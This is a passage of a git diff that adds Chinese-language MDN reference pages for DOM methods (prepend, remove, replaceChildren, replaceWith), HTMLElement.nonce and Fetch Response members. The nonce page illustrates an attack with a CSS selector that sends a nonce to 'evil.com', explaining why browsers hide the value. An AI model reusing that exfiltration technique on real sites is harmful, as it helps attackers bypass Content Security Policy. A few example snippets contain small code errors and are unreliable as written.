id="Prepending_an_element">Prepending an element</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +var span = document.createElement("span"); +parent.append(p); +parent.prepend(span); + +console.log(parent.childNodes); // NodeList [ <span>, <p> ] +</pre> + +<h3 id="Prepending_text">Prepending text</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +parent.append("Some text"); +parent.prepend("Headline: "); + +console.log(parent.textContent); // "Headline: Some text"</pre> + +<h3 id="Appending_an_element_and_text">Appending an element and text</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +parent.prepend("Some text", p); + +console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> + +<h3 id="Element.prepend_is_unscopable"><code>Element.prepend()</code> is unscopable</h3> + +<p><code>prepend()不能在with语句内使用，详情参考</code>{{jsxref("Symbol.unscopables")}}。</p> + +<pre class="brush: js">var parent = document.createElement("div"); + +with(parent) { + prepend("foo"); +} +// ReferenceError: prepend is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>使用下面的代码在IE9或更高版本中模拟<code>prepend()</code>方法：</p> + +<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/Element/prepend()/prepend().md +(function (arr) { + arr.forEach(function (item) { + item.prepend = item.prepend || function () { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.insertBefore(docFrag, this.firstChild); + }; + }); +})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-prepend', 'Element.prepend()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="兼容性">兼容性</h2> + + + +<p>{{Compat("api.Element.prepend")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("ChildNode")}}</li> + <li>{{domxref("Element.append()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("ChildNode.before()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/remove/index.html b/files/zh-cn/web/api/element/remove/index.html new file mode 100644 index 0000000000..b60cab7a0c --- /dev/null +++ b/files/zh-cn/web/api/element/remove/index.html @@ -0,0 +1,96 @@ +--- +title: ChildNode.remove() +slug: orphaned/Web/API/ChildNode/remove +tags: + - API + - ChildNode + - DOM + - Method +translation_of: Web/API/ChildNode/remove +original_slug: Web/API/ChildNode/remove +--- +<p>{{APIRef("DOM")}}</p> + +<p><code><strong>ChildNode.remove()</strong></code> 方法，把对象从它所属的 DOM 树中删除。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>node</var>.remove();</pre> + +<h2 id="示例">示例</h2> + +<h3 id="使用_remove()">使用 <code>remove()</code></h3> + +<pre class="brush: html"><div id="div-01">Here is div-01</div> +<div id="div-02">Here is div-02</div> +<div id="div-03">Here is div-03</div> +</pre> + +<pre class="brush: js">var el = document.getElementById('div-02'); +el.remove(); +// id 为 'div-02' 的 div 被删掉了 +</pre> + +<p>{{EmbedLiveSample('使用_remove()')}}</p> + +<h3 id="ChildNode.remove()_是不可见的"><code>ChildNode.remove()</code> 是不可见的</h3> + +<p>在 <code>with</code> 语句中，<code>remove()</code> 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。</p> + +<pre class="brush: js">with(node) { + remove(); +} +// ReferenceError: remove is not defined</pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>You can polyfill the <code>remove()</code> method in Internet Explorer 9 and higher with the following code:</p> + +<pre class="brush: js">//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('remove')) { + return; + } + Object.defineProperty(item, 'remove', { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + this.parentNode.removeChild(this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.ChildNode.remove")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("ChildNode")}} 纯接口。</li> + <li> + <div class="syntaxbox">实现此纯接口的对象类型： {{domxref("CharacterData")}}、{{domxref("Element")}} , 和 {{domxref("DocumentType")}}.</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/replacechildren/index.html b/files/zh-cn/web/api/element/replacechildren/index.html new file mode 100644 index 0000000000..c15e75961e --- /dev/null +++ b/files/zh-cn/web/api/element/replacechildren/index.html @@ -0,0 +1,170 @@ +--- +title: Element.replaceChildren() +slug: Web/API/Element/replaceChildren +translation_of: Web/API/Element/replaceChildren +tags: + - API + - DOM + - Method + - Node + - Element + - Reference + - replaceChildren +browser-compat: api.Element.replaceChildren +--- +<div>{{APIRef("DOM")}}{{seecompattable}}</div> + +<p><strong><code>Element.replaceChildren()</code></strong> 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">// [Throws, Unscopable] +Element.replaceChildren(...<var>nodesOrDOMStrings</var>) // 返回 undefined +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code><var>nodesOrDOMStrings</var></code></dt> + <dd>一组用于替换 <code>Element</code> 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时，<code>Element</code> 的所有后代都将被清空。</dd> +</dl> + +<h3 id="异常">异常</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 当违反了<a href="https://dom.spec.whatwg.org/#concept-node-tree">节点树的约束条件</a>时抛出。</li> +</ul> + +<h2 id="例子">例子</h2> + +<h3 id="清空一个节点">清空一个节点</h3> + +<p><code>replaceChildren()</code> 为清空一个节点的后代提供了非常方便的机制，您只需在父节点不指定任何实参调用该方法即可。</p> + +<pre class="brush: js notranslate">myNode.replaceChildren();</pre> + +<h3 id="在父节点之间转移节点">在父节点之间转移节点</h3> + +<p><code>replaceChildren()</code> 允许您更轻松地在父节点之间转移节点，而无需依赖冗余的循环代码。例如，有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下：</p> + +<pre class="brush: html notranslate"><h2>派对食物列表</h2> + +<main> + <div> + <label for="no">不，谢谢了！</label> + + <select id="no" multiple size="10"> + <option>苹果</option> + <option>橘子</option> + <option>葡萄</option> + <option>香蕉</option> + <option>奇异果</option> + <option>巧克力饼干</option> + <option>花生饼干</option> + <option>巧克力棒</option> + <option>火腿三明治</option> + <option>乳酪三明治</option> + <option>沙拉三明治</option> + <option>冰淇淋</option> + <option>果冻</option> + <option>胡萝卜和鹰嘴豆泥</option> + <option>玛格丽特披萨</option> + <option>腊肠比萨</option> + <option>素比萨</option> + </select> + </div> + + <div class="buttons"> + <button id="to-yes">转移到"是" --&gt;</button> + <button id="to-no">&lt;-- 转移到 "否"</button> + </div> + + <div> + <label for="yes">是的，请！</label> + + <select id="yes" multiple size="10"> + + </select> + </div> +</main></pre> + +<p>使用一些简单的 CSS 将两个选择列表排成一行，并将控制按钮放置在它们之间是很有意义的：</p> + +<pre class="brush: css notranslate">main { + display: flex; +} + +div { + margin-right: 20px; +} + +label, button { + display: block; +} + +.buttons { + display: flex; + flex-flow: column; + justify-content: center; +} + +select { + width: 200px; +}</pre> + +<p>我们要做的是，当按下 “是” 按钮时，将 “否” 列表中的所有选定选项都转移到 “是” 列表中，然后当按下“否”按钮时，将 “是” 列表中的所有选定选项都转移到 “否” 列表中。</p> + +<p>为此，我们为每个按钮提供一个 click 事件处理句柄，该事件句柄将所选选项赋值到第一个常量中，将要转移到的列表中的现有的选项赋值到第二个常量中。然后，它会调用列表的 <code>replaceChildren()</code> 方法，使用延展运算符传入两个常量，进而将两个常量中包含的所有选项转移到目标列表。</p> + +<pre class="brush: js notranslate">const noSelect = document.getElementById('no'); +const yesSelect = document.getElementById('yes'); +const noBtn = document.getElementById('to-no'); +const yesBtn = document.getElementById('to-yes'); + +yesBtn.addEventListener('click', () => { + const selectedTransferOptions = document.querySelectorAll('#no option:checked'); + const existingYesOptions = document.querySelectorAll('#yes option'); + yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions); +}); + +noBtn.addEventListener('click', () => { + const selectedTransferOptions = document.querySelectorAll('#yes option:checked'); + const existingNoOptions = document.querySelectorAll('#no option'); + noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions); +});</pre> + +<p>最终结果如下：</p> + +<p>{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-replacechildren', 'Element.replaceChildren()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Element.replaceChildren")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("ChildNode")}}</li> + <li>{{domxref("Element.prepend()")}}</li> + <li>{{domxref("Element.append()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/replacewith/index.html b/files/zh-cn/web/api/element/replacewith/index.html new file mode 100644 index 0000000000..9f3ef5bd88 --- /dev/null +++ b/files/zh-cn/web/api/element/replacewith/index.html @@ -0,0 +1,112 @@ +--- +title: ChildNode.replaceWith() +slug: orphaned/Web/API/ChildNode/replaceWith +tags: + - DOM + - Node +translation_of: Web/API/ChildNode/replaceWith +original_slug: Web/API/ChildNode/replaceWith +--- +<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> + +<p><code><strong>ChildNode</strong></code><strong><code>.replaceWith()</code></strong> 的方法用一套 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象，替换了该节点父节点下的子节点 。{{domxref("DOMString")}} 对象被当做等效的{{domxref("Text")}} 节点插入。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">[Throws, Unscopable] +void ChildNode.replaceWith((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>节点</code></dt> + <dd>一系列用来替换的{{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。</dd> +</dl> + +<h3 id="例外">例外</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 无法在层次结构中的指定点插入节点。</li> +</ul> + +<h2 id="案例">案例</h2> + +<h3 id="Using_replaceWith">Using <code>replaceWith()</code></h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.replaceWith(span); + +console.log(parent.outerHTML); +// "<div><span></span></div>" +</pre> + +<h3 id="ChildNode.replaceWith_is_unscopable"><code>ChildNode.replaceWith()</code> is unscopable</h3> + +<p><code>replaceWith()</code>的方法并没有作用于with语句. 参考 {{jsxref("Symbol.unscopables")}} 获取更多信息.</p> + +<pre class="brush: js">with(node) { + replaceWith("foo"); +} +// ReferenceError: replaceWith is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>你可以在IE9及更高级的浏览器中使用下面的代码向上兼容<code>replaceWith()</code>的方法:</p> + +<pre class="brush: js">(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('replaceWith')) { + return; + } + Object.defineProperty(item, 'replaceWith', { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.parentNode.replaceChild(docFrag, this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-replacewith', 'ChildNode.replacewith()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.ChildNode.replaceWith")}}</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> + <li>{{domxref("Node.replaceChild()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html new file mode 100644 index 0000000000..018a276376 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/nonce/index.html @@ -0,0 +1,62 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +translation_of: Web/API/HTMLElement/nonce +tags: + - API + - Content Security Policy + - Experimental + - HTML DOM + - HTMLElement + - Property + - Reference + - nonce +browser-compat: api.HTMLElement.nonce +--- +<p>{{SeeCompatTable}}{{APIRef("HTML DOM")}}</p> + +<p>{{domxref("HTMLElement")}} 接口的 <strong><code>nonce</code></strong> 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。</p> + +<p>在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <em>nonce</em> = HTMLElement.nonce +HTMLElement.nonce = <em>nonce</em></pre> + +<h3 id="访问nonce属性值">访问nonce属性值</h3> + +<p>以前，并不是所有的浏览器都支持 <code>nonce</code> IDL属性，因此在实际应用场景中，尝试使用<code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute</a></code> 作为备选：</p> + +<pre class="notranslate">let nonce = script['nonce'] || script.getAttribute('nonce');</pre> + +<p>然而，最新的浏览器版本都隐藏了 <code>nonce</code> 值（返回一个空值）。IDL属(<code>script['nonce']</code>)成为唯一的访问方式。</p> + +<p>隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：</p> + +<pre class="notranslate">script[nonce~=whatever] { + background: url("https://evil.com/nonce?whatever"); +}</pre> + +<h2 id="说明">说明</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">说明</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="支持的浏览器">支持的浏览器</h2> + +<div> +<p>{{Compat("api.HTMLElement.nonce")}}</p> +</div>
\ No newline at end of file diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..3a1477c435 --- /dev/null +++ b/files/zh-cn/web/api/renderingcontext/index.html @@ -0,0 +1,30 @@ +--- +title: RenderingContext +slug: orphaned/Web/API/RenderingContext +translation_of: Web/API/RenderingContext +original_slug: Web/API/RenderingContext +--- +<p>{{APIRef("Canvas API")}}</p> + +<p><code><strong>RenderingContext</strong></code> 是一个辅助类型，描述下面任何一个渲染上下文： {{domxref("CanvasRenderingContext2D")}}， {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} （继承自 <code>WebGLRenderingContext</code>）。</p> + +<p>这是简化规范的辅助类型，它不是一个接口，也没有对象实现它。</p> + +<h2 id="规范描述">规范描述</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<p> </p>
\ No newline at end of file diff --git a/files/zh-cn/web/api/response/arraybuffer/index.html b/files/zh-cn/web/api/response/arraybuffer/index.html new file mode 100644 index 0000000000..48ec4e65a2 --- /dev/null +++ b/files/zh-cn/web/api/response/arraybuffer/index.html @@ -0,0 +1,150 @@ +--- +title: Response.arrayBuffer() +slug: Web/API/Response/arrayBuffer +translation_of: Web/API/Response/arrayBuffer +tags: + - API + - ArrayBuffer + - Fetch + - Method + - Reference + - Response +browser-compat: api.Response.arrayBuffer +--- +<p>{{APIRef("Fetch")}}{{ SeeCompatTable() }}</p> + +<p> {{domxref("Response")}}上的<strong><code>方法 arrayBuffer()</code></strong> 接受一个 {{domxref("Response")}} 流, 并等待其读取完成. 它返回一个 promise 实例, 并 resolve 一个 {{domxref("ArrayBuffer")}} 对象.</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">response.arrayBuffer().then(function(buffer) { + // do something with buffer +)};</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>A promise that resolves with an {{domxref("ArrayBuffer")}}.</p> + +<h2 id="例子">例子</h2> + +<p>In our <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-array-buffer">fetch array buffer example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-array-buffer/">fetch array buffer live</a>), we have a Play button. When pressed, the <code>getData()</code> function is run.</p> + +<p>In <code>getData()</code> we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch an OGG music track. We also use {{domxref("AudioContext.createBufferSource")}} to create an audio buffer source. When the fetch is successful, we read an {{domxref("ArrayBuffer")}} out of the response using <code>arrayBuffer()</code>, decode the audio data using {{domxref("AudioContext.decodeAudioData")}}, set the decoded data as the audio buffer source's buffer (<code>source.buffer</code>), then connect the source up to the {{domxref("AudioContext.destination")}}.</p> + +<p>Once <code>getData()</code> has finished running, we start the audio source playing with <code>start(0)</code>, then disable the play button so it can't be clicked again when it is already playing (this would cause an error.)</p> + +<pre class="brush: js">function getData() { + source = audioCtx.createBufferSource(); + + var myRequest = new Request('viper.ogg'); + + fetch(myRequest).then(function(response) { + response.arrayBuffer().then(function(buffer) { + audioCtx.decodeAudioData(buffer, function(decodedData) { + source.buffer = decodedData; + source.connect(audioCtx.destination); + }); + }); + }); +}; + +// wire up buttons to stop and play audio + +play.onclick = function() { + getData(); + source.start(0); + play.setAttribute('disabled', 'disabled'); +}</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-arraybuffer','arrayBuffer()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(41) }}<sup>[1]</sup><br> + {{ CompatChrome(42) }}<br> + </td> + <td>34<sup>[1]</sup><br> + {{ CompatGeckoDesktop(39)}}</td> + <td>{{ CompatNo }}</td> + <td> + <p>28<sup>[1]</sup><br> + 29</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In Chrome 42, Firefox 34 and Opera 28 support for <code>arrayBuffer()</code> was hidden behind a preference.</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> + +<div id="sVim-command" class="hidden">-- NORMAL --</div> diff --git a/files/zh-cn/web/api/response/blob/index.html b/files/zh-cn/web/api/response/blob/index.html new file mode 100644 index 0000000000..89444de3d4 --- /dev/null +++ b/files/zh-cn/web/api/response/blob/index.html @@ -0,0 +1,142 @@ +--- +title: Response.blob() +slug: Web/API/Response/blob +translation_of: Web/API/Response/blob +tags: + - API + - Blob + - Fetch + - Method + - Reference + - Response +browser-compat: api.Response.blob +--- +<p>{{APIRef("Fetch")}}</p> + +<p>{{domxref("Response")}} mixin的 <strong><code>blob()</code></strong>方法使用一个 {{domxref("Response")}} 流，并将其读取完成。它返回一个使用{{domxref("Blob")}}解决的promise。</p> + +<h2 id="句法">句法</h2> + +<pre class="brush: js">response.blob().then(function(myBlob) { + // do something with myBlob +});</pre> + +<h3 id="参数">参数</h3> + +<p>None.</p> + +<h3 id="返回值">返回值</h3> + +<p>A promise that resolves with a {{domxref("Blob")}}.</p> + +<h2 id="例子">例子</h2> + +<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch request example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)中，我们使用<a href="/zh-CN/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/RequestFilter">Request.Request</a>构造方法创建了一个新的request对象，然后使用它来获取一个JPG文件。当fetch成功的时候，我们使用blob()从response中读取一个<a href="/zh-CN/docs/Web/API/Blob">Blob</a>对象，并使用<a href="/zh-CN/docs/Web/API/URL/createObjectURL">URL.createObjectURL</a> 将它放入一个object URL ，然后把URL设置为<a href="/zh-CN/docs/Web/HTML/Element/img">img</a>元素的src属性以显示这张图片。</p> + +<p> </p> + +<pre class="brush: js">var myImage = document.querySelector('img'); + +var myRequest = new Request('flowers.jpg'); + +fetch(myRequest) +.then(function(response) { + return response.blob(); +}) +.then(function(myBlob) { + var objectURL = URL.createObjectURL(myBlob); + myImage.src = objectURL; +}); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">说明</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-blob','blob()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(42) }} [1]<br> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop(39)}} [2]</td> + <td>{{ CompatNo }}</td> + <td> + <p>29 [3]</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Behind a preference in version 41.</p> + +<p>[2] Behind a preference starting with version 34.</p> + +<p>[3] Behind a preference in version 28.</p> + +<h2 id="另见">另见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/body/index.html b/files/zh-cn/web/api/response/body/index.html new file mode 100644 index 0000000000..ffd78b8dfe --- /dev/null +++ b/files/zh-cn/web/api/response/body/index.html @@ -0,0 +1,94 @@ +--- +title: Response.body +slug: Web/API/Response/body +translation_of: Web/API/Response/body +tags: + - API + - Fetch + - Property + - Reference + - Streams + - Response +browser-compat: api.Response.body +--- +<div>{{APIRef("Fetch")}}</div> + +<p>{{domxref("Response")}} mixin的只读getter属性 <strong><code>body</code></strong> 用于暴露其body内容的{{domxref("ReadableStream")}}（流读取）。</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">var stream = responseInstance.body;</pre> + +<h3 id="Value">Value</h3> + +<p>一个 {{domxref("ReadableStream")}}.</p> + +<h2 id="例程">例程</h2> + +<p>在我们的 <a href="https://mdn.github.io/dom-examples/streams/simple-pump.html">simple stream pump</a> 例程中我们fetch一个图片地址，使用<code>response.body</code>暴露响应的流，用{{domxref("Response.getReader()", "ReadableStream.getReader()")}}创建一个读取器，然后将其置入第二个自定义读取流中——有效的创建了一个完全相同的图片副本。</p> + +<pre class="brush: js">const image = document.getElementById('target'); + +// 请求原始图片 +fetch('./tortoise.png') +// 取出body +.then(response => response.body) +.then(body => { + const reader = Response.getReader(); + + return new ReadableStream({ + start(controller) { + return pump(); + + function pump() { + return reader.read().then(({ done, value }) => { + // 读不到更多数据就关闭流 + if (done) { + controller.close(); + return; + } + + // 将下一个数据块置入流中 + controller.enqueue(value); + return pump(); + }); + } + } + }) +}) +.then(stream => new Response(stream)) +.then(response => response.blob()) +.then(blob => URL.createObjectURL(blob)) +.then(url => console.log(image.src = url)) +.catch(err => console.error(err));</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-body','body')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div>{{Compat("api.Response.body")}}</div> + +<p> </p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a href="/en-US/docs/Web/API/Streams_API">Streams API</a></li> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/bodyused/index.html b/files/zh-cn/web/api/response/bodyused/index.html new file mode 100644 index 0000000000..2e9428b9c2 --- /dev/null +++ b/files/zh-cn/web/api/response/bodyused/index.html @@ -0,0 +1,142 @@ +--- +title: Response.bodyUsed +slug: Web/API/Response/bodyUsed +translation_of: Web/API/Response/bodyUsed +tags: + - API + - Fetch + - Property + - Reference + - bodyUsed + - Response +browser-compat: api.Response.bodyUsed +--- +<p>{{APIRef("Fetch")}}{{ SeeCompatTable }}</p> + +<p><strong><code>bodyUsed</code></strong><code> 是</code>{{domxref("Response")}} mixin中的一个<code>只读属性。用以表示该body是否被使用过。</code></p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">var myBodyUsed = response.bodyUsed;</pre> + +<h3 id="可能的值">可能的值</h3> + +<p>{{domxref("Boolean")}}.</p> + +<h2 id="示例">示例</h2> + +<p>在以下<a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch 请求示例</a>（运行 <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>）。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求，来获得一张JPG图片。当fetch成功后，通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL，并作为 {{htmlelement("img")}}元素的src源来显示图片。</p> + +<p>注意：<code>在response.blob()被调用前后，</code>输出<code>response.bodyUsed的差异。</code></p> + +<h3 id="HTML_Content">HTML Content</h3> + +<pre class="brush: html"><img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"> +</pre> + +<h3 